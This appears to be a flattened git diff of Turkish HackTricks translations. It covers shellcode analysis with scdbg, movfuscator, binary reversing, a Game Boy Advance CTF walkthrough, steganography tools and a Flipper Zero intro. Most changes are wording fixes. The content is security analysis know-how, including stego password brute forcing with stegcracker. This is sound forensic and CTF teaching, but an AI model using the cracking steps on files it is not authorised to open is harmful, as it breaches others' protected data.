Shellcode'un hangi işlevleri kullandığını ve shellcode'un bellekte kendini **çözüp çözmediğini** size söyleyecektir. Shellcode'un hangi işlevleri kullandığını ve shellcode'un bellekte kendini **çözümlüyor** olup olmadığını size söyleyecektir.
```bash ```bash
scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run scdbg.exe -f shellcode -r #show analysis report at end of run
@ -226,19 +226,19 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
``` ```
scDbg ayrıca seçtiğiniz seçenekleri belirleyip shellcode'ları yürütebileceğiniz grafiksel bir başlatıcıya sahiptir scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'yi yürütebileceğiniz grafiksel bir başlatıcıya sahiptir
![](<../../.gitbook/assets/image (398).png>) ![](<../../.gitbook/assets/image (398).png>)
**Create Dump** seçeneği, bellekte shellcode dinamik olarak değiştirilirse son shellcode'u döker (çözülmüş shellcode'u indirmek için faydalıdır). **Başlangıç ofseti** belirli bir ofsette shellcode'u başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminalini kullanarak hata ayıklamak için faydalıdır (ancak bu konuda açıklanan seçeneklerden herhangi birini daha iyi buluyorum çünkü Ida veya x64dbg kullanabileceksiniz). **Dump Oluştur** seçeneği, bellekte shellcode'a dinamik olarak herhangi bir değişiklik yapılırsa son shellcode'u döker (çözülmüş shellcode'u indirmek için faydalıdır). **Başlangıç ofseti**, shellcode'u belirli bir ofsette başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminalini kullanarak hata ayıklamak için faydalıdır (ancak bu konuda açıklanan seçeneklerden herhangi birini daha iyi buluyorum çünkü Ida veya x64dbg kullanabileceksiniz).
### CyberChef Kullanarak Disassembling ### CyberChef Kullanarak Disassembling
Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki tarifi kullanarak decompile edin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki tarifi kullanarak derleyin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Bu obfuscator, tüm `mov` komutları için talimatları değiştirir (evet, gerçekten harika). Ayrıca yürütme akışlarını değiştirmek için kesmeler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için: Bu obfuscator, **tüm `mov` komutları için talimatları değiştirir**(evet, gerçekten harika). Ayrıca, yürütme akışlarını değiştirmek için kesmeler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
@ -250,7 +250,7 @@ apt-get install libz3-dev
``` ```
Ve [keystone'ı yükle](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) Ve [keystone'ı yükle](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Eğer bir **CTF oyununda, bayrağı bulmak için bu çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) Eğer bir **CTF oyununda oynuyorsanız, bayrağı bulmak için bu çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust ## Rust
@ -269,9 +269,9 @@ Bir Delphi ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini ku
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin. Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu eklenti, hata ayıklamanın başlangıcında işlev adlarını dinamik olarak çözecek ve işlev adlarını çözecektir. Hata ayıklamaya başladıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır. Bu eklenti, ikili dosyayı yürütür ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen işlevde duracaktır. Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen fonksiyonda duracaktır.
## Golang ## Golang
@ -279,7 +279,7 @@ Bir Golang ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini ku
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin. Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu, işlevlerin adlarını çözecektir. Bu, fonksiyonların isimlerini çözecektir.
## Derlenmiş Python ## Derlenmiş Python
@ -315,11 +315,11 @@ DOWN = 128
R = 256 R = 256
L = 256 L = 256
``` ```
Bu tür programlarda, ilginç olan kısım, programın kullanıcı girdisini nasıl işlediğidir. Adreste **0x4000130** sıkça bulunan **KEYINPUT** fonksiyonunu bulacaksınız. Bu tür programlarda, ilginç olan kısım, programın kullanıcı girdisini nasıl işlediğidir. **0x4000130** adresinde yaygın olarak bulunan **KEYINPUT** fonksiyonunu bulacaksınız.
![](<../../.gitbook/assets/image (579).png>) ![](<../../.gitbook/assets/image (579).png>)
Önceki görüntüde, fonksiyonun **FUN\_080015a8**'den çağrıldığını görebilirsiniz (adresler: _0x080015fa_ ve _0x080017ac_). Önceki görüntüde, fonksiyonun **FUN\_080015a8** adresinden çağrıldığını görebilirsiniz (_0x080015fa_ ve _0x080017ac_ adresleri).
O fonksiyonda, bazı başlatma işlemlerinden sonra (önemsiz): O fonksiyonda, bazı başlatma işlemlerinden sonra (önemsiz):
```c ```c
@ -354,7 +354,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6; uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) { if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
``` ```
Son if, **`uVar4`**'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir düğmeye bırakılıyor (mevcut tuş **`uVar1`** içinde saklanır). Son if, **`uVar4`**'ün **son tuşlar** içinde olup olmadığını kontrol eder ve mevcut tuş değilse, yani bir düğmeye bırakıldığını belirtir (mevcut tuş **`uVar1`** içinde saklanır).
```c ```c
if (uVar1 == 4) { if (uVar1 == 4) {
DAT_030000d4 = 0; DAT_030000d4 = 0;
@ -384,13 +384,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
``` ```
Önceki kodda, **uVar1** (basılan düğmenin değerinin bulunduğu yer) bazı değerlerle karşılaştırıldığını görebilirsiniz: Önceki kodda, **uVar1** (basılan düğmenin değerinin bulunduğu yer) bazı değerlerle karşılaştırıldığını görebilirsiniz:
* İlk olarak, **değer 4** (**SEÇ** düğmesi) ile karşılaştırılır: Bu düğme meydan okumada ekranı temizler * İlk olarak, **değer 4** (**SEÇ** düğmesi) ile karşılaştırılır: Bu düğme meydan okumada ekranı temizler.
* Ardından, **değer 8** (**BAŞLAT** düğmesi) ile karşılaştırılır: Bu meydan okumada bayrağı almak için kodun geçerli olup olmadığını kontrol eder. * Ardından, **değer 8** (**BAŞLAT** düğmesi) ile karşılaştırılır: Bu meydan okumada bayrağı almak için kodun geçerli olup olmadığını kontrol eder.
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynıysa bazı kodlar çalıştırılır. * Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve eğer değer aynıysa bazı kodlar çalıştırılır.
* Diğer durumlarda, bazı kontroller (`DAT_030000d4`) yapılır. Bu bir kontrol olduğundan, kod girdikten hemen sonra 1 eklenir.\ * Diğer durumlarda, bazı `cont` (`DAT_030000d4`) kontrol edilir. Bu bir kontrol çünkü kod girdikten hemen sonra 1 ekler.
Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler **eklemeyi** içeren bir şey yapılır (temelde, kont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekliyor). * 8'den küçükse, **`DAT_030000d8`** değişkenine değerler ekleyen bir şey yapılır (temelde, kont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekliyor).
Bu meydan okumada, düğmelerin değerlerini bilerek, sonucunda toplamın 0xf3 olacağı 8'den küçük bir uzunluktaki bir kombinasyonu **basmanız gerekiyordu**. Bu meydan okumada, düğmelerin değerlerini bilerek, sonucunda eklemenin 0xf3 olduğu 8'den küçük bir uzunluktaki bir kombinasyonu **basmanız gerekiyordu**.
**Bu öğretici için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) **Bu öğretici için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -405,7 +405,7 @@ Bu meydan okumada, düğmelerin değerlerini bilerek, sonucunda toplamın 0xf3 o
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -417,8 +417,8 @@ HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) takip edin. * 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,22 +1,22 @@
# Stego Hileleri # Stego Numaraları
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking numaralarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları:
### **Binwalk** ### **Binwalk**
Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir. Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da mevcuttur.
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
@ -40,7 +40,7 @@ foremost -i file # Extracts data
``` ```
### **Exiftool** ### **Exiftool**
Dosya meta verilerini görüntülemeye yardımcı olur, [buradan](https://www.sno.phy.queensu.ca/\~phil/exiftool/) erişilebilir. Dosya meta verilerini görüntülemeye yardımcı olur, [buradan](https://www.sno.phy.queensu.ca/~phil/exiftool/) erişilebilir.
```bash ```bash
exiftool file # Shows the metadata exiftool file # Shows the metadata
``` ```
@ -52,11 +52,11 @@ exiv2 file # Shows the metadata
``` ```
### **Dosya** ### **Dosya**
Uğraştığınız dosya türünü belirleyin. Uğraştığınız dosyanın türünü belirleyin.
### **Dizgeler** ### **Dizgeler**
Dosyalardan okunabilir dizgeler çıkarır, çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek için. Dosyalardan okunabilir dizgeler çıkarır, çıktıyı filtrelemek için çeşitli kodlama ayarlarını kullanır.
```bash ```bash
strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings strings -n 6 file | head -n 20 # First 20 strings
@ -70,11 +70,11 @@ strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **Karşılaştırma (cmp)** ### **Karşılaştırma (cmp)**
Bir dosyanın değiştirilmiş sürümünü çevrimiçi bulunan orijinal sürümü ile karşılaştırmak için kullanışlıdır. Bir değiştirilmiş dosyayı çevrimiçi bulunan orijinal sürümü ile karşılaştırmak için kullanışlıdır.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **Metinde Gizli Verileri Çıkarma** ## **Metinden Gizli Verileri Çıkarma**
### **Boşluklardaki Gizli Veriler** ### **Boşluklardaki Gizli Veriler**
@ -84,11 +84,11 @@ Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu ver
### **GrafikDetayları GraphicMagick ile Tanımlama** ### **GrafikDetayları GraphicMagick ile Tanımlama**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: [GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
Hasar görmüş bir görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir: Hasar görmüş bir resim üzerinde onarım denemek için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
@ -111,7 +111,7 @@ stegcracker <file> [<wordlist>]
``` ```
### **PNG ve BMP Dosyaları için zsteg** ### **PNG ve BMP Dosyaları için zsteg**
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağına](https://github.com/zed-0xff/zsteg) ulaşılabilir. zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağı](https://github.com/zed-0xff/zsteg)ndan erişilebilir.
**Komutlar:** **Komutlar:**
@ -120,9 +120,9 @@ zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanla
### **StegoVeritas ve Stegsolve** ### **StegoVeritas ve Stegsolve**
**stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın. **stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir. **Stegsolve**, gizli metinleri veya mesajları görüntülerde ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir.
### **Gizli İçerik Tespiti için FFT** ### **Gizli İçerik Tespiti için FFT**
@ -148,14 +148,14 @@ pngcheck stego.png
Daha fazla keşif için şu adresleri ziyaret etmeyi düşünün: Daha fazla keşif için şu adresleri ziyaret etmeyi düşünün:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) * [Görüntü Hata Düzeyi Analizi](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess) * [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/) * [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/) * [DIIT](https://diit.sourceforge.net/)
## **Ses Dosyalarından Veri Çıkarma** ## **Ses Dosyalarından Veri Çıkarma**
**Ses steganografisi**, bilgileri ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Gizli içeriği gömmek veya almak için farklı araçlar kullanılır. **Ses steganografisi**, bilgiyi ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Gizli içeriği gömmek veya almak için farklı araçlar kullanılır.
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
@ -185,7 +185,7 @@ Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit
### **Sonic Visualizer** ### **Sonic Visualizer**
Ses dosyalarının görsel ve analitik incelemesi için kıymetli bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle algılanamayan gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones** ### **DTMF Tones - Dial Tones**
@ -195,7 +195,7 @@ Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https:/
### **Binary Length SQRT - QR Code** ### **Binary Length SQRT - QR Code**
Tam bir sayıya karesel olarak eşit olan ikili veri, bir QR kodu temsil edebilir. Bunun kontrolü için bu parçacığı kullanın: Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodunu temsil edebilir. Bunun kontrolü için bu kısa kodu kullanın:
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
@ -211,20 +211,20 @@ Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/brail
**Try Hard Security Grubu** **Try Hard Security Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) **kontrol edin!** * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek HackTricks repo**'suna [**ve hacktricks-cloud repo**'ya](https://github.com/carlospolop/hacktricks) **PR gönderin.** * **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **katkıda bulunun**.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,22 +31,22 @@
* **Güvenlik anahtarı (U2F) olarak kullanma** * **Güvenlik anahtarı (U2F) olarak kullanma**
* **Yılan oyunu oynama** * **Yılan oyunu oynama**
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) adresindeki diğer Flipper Zero kaynaklarına bakın **Diğer Flipper Zero kaynakları için** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
